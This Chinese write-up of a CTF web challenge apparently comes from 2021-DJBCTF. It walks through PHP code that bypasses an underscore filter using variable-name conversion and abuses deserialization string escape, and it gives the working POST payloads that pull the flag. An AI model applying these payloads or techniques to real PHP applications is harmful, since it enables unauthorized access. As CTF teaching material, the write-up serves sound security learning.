师傅们出的MISC题做得有点上头,虽然最后也只做出来四题,web题也没来得及看。。。
源码:
error_reporting(0);
highlight_file(__FILE__);
class spaceman
{
public $username;
public $password;
public function __construct($username,$password)
{
$this->username = $username;
$this->password = $password;
}
public function __wakeup()
{
if($this->password==='ctfshowvip')
{
include("flag.php");
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('ctfshowup','ctfshow',$string);
}
$str = file_get_contents("php://input");
if(preg_match('/\_|\.|\]|\[/is',$str)){
die("I am sorry but you have to leave.");
}else{
extract($_POST);
}
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
?>
简单分析得知我们需要POST
传入的参数是user_name
和pass_word
,当pass_word
的值为ctfshowvip
时可以得到flag
但是这里对我们输入的数据进行了过滤,下划线被过滤了,也就是不能直接构造pass_word=
if(preg_match('/\_|\.|\]|\[/is',$str)){
die("I am sorry but you have to leave.");
这里有一个知识点,GET或POST方式传进去的变量名,会自动将空格 + . [
转换为_
,web入门的web123也是利用这个知识。
所以直接post:
pass+word=ctfshowvip
pass word=ctfshowvip
pass[word=ctfshowvip
即可得到flag,也不需要传入user_name
,不过这里还有一个疑问就是正则好像也把[
过滤了,不知道为什么第三个payload也能用
上面这个其实是非预期解,出题人的预期解是反序列化字符逃逸
一个对象经过序列化之后的格式为:
O:类名的长度:类名:类里包含的变量个数:{类型:长度:值;类型:长度:值…}
如
class test{
public $name = 'abc';
public $number=66;
}
$x = new test();
echo(serialize($x));
得到的结果是O:4:"test":2:{s:4:"name";s:3:"abc";s:6:"number";i:66;}
用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。这个函数有两个特点,官方介绍是没有的,这里也是参考大佬的文章才知道的。
特点1: 反序列化时遇到了;}
会忽略后面的字符,所以可以在序列化数据后添加一些字符
特点2: unserialize根据长度
判断内容,长度不对应的时候会报错
这里直接借用大佬的代码
highlight_file(__file__);
function filter($str){
return str_replace('l', 'll', $str); #把str中的l替换成ll
}
class person{
public $name = 'lonmar';
public $age = '100';
}
$test = new person();
$test = serialize($test);
echo "";
print_r($test);
echo "";
$test = filter($test);
print_r($test);
print_r(unserialize($test));
输出结果
O:6:"person":2:{
s:4:"name";s:6:"lonmar";s:3:"age";s:3:"100";}
O:6:"person":2:{
s:4:"name";s:6:"llonmar";s:3:"age";s:3:"100";}
替换过后,实际长度为7
,而描述长度为6
,少读了一个r 所以失败,这种情况反序列化失败是因为漏读了字符串的value
也可以构造恶意的value,再故意漏读,如令$name='lonmar";s:3:"age";s:2:"35";}'
替换之后,最后的}
就读不到了,以此类推,再多几个l
,如$name='lllllllllllllllllllllonmar";s:3:"age";s:2:"35";}'
,后面的;s:3:"age";s:2:"35";}'
就因为读不到而逃逸了
至于需要多少个l
,因为;s:3:"age";s:2:"35";}
长度是22
, 所以需要22个l
这种情况下反序列化的时候就会多读
highlight_file(__file__);
function filter($str){
return str_replace('ll', 'l', $str);
}
class person{
public $name = 'lonmar';
public $age = '100';
}
正常的数据 O:6:"person":2:{s:4:"name";s:6:"lonmar";s:3:"age";s:3:"xxx";}
如果做替换,让也";s:3:"age";s:3:"
被读进name,再把xxx
替换为;s:3:“age”;s:3:“100”;}
令$age=123";s:3:"age";s:3:"100";}
此时O:6:"person":2:{s:4:"name";s:47:"llllllllllllllllllllllllllllllllllllllllllonmar";s:3:"age";s:26:"123";s:3:"age";s:3:"111";}";}
name:
llllllllllllllllllllllllllllllllllllllllllonmar
=>
lllllllllllllllllllllonmar";s:3:"age";s:26:"123
age:
123";s:3:"age";s:3:"111";}
=>
111
原理说完,也该说一下这个题的预期解了
这里会把输入内容里的ctfshowup
替换成ctfshow
function filter($string){
return str_replace('ctfshowup','ctfshow',$string);
}
然后序列化和反序列化
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
很明显这里是字符减少的类型,每替换一次,字符串长度减少2
后面要传入1";s:8:"password";s:10:"ctfshowvip
,也就是要把s:8:"password";s:36:"1
这24个字符吞掉,所以需要传11个ctfshowup
这里预期的序列化后的内容(不考虑filter):
O:8:"spaceman":2:{
s:8:"username";s:4:"xxxx";s:8:"password";s:10:"ctfshowvip";}
最终payload:
POST:
user name=ctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowup&pass word=1";s:8:"password";s:10:"ctfshowvip
这里的user name
和pass word
里的空格可以换成+
和[
参考文章:
浅谈PHP反序列化字符逃逸
2021-DJBCTF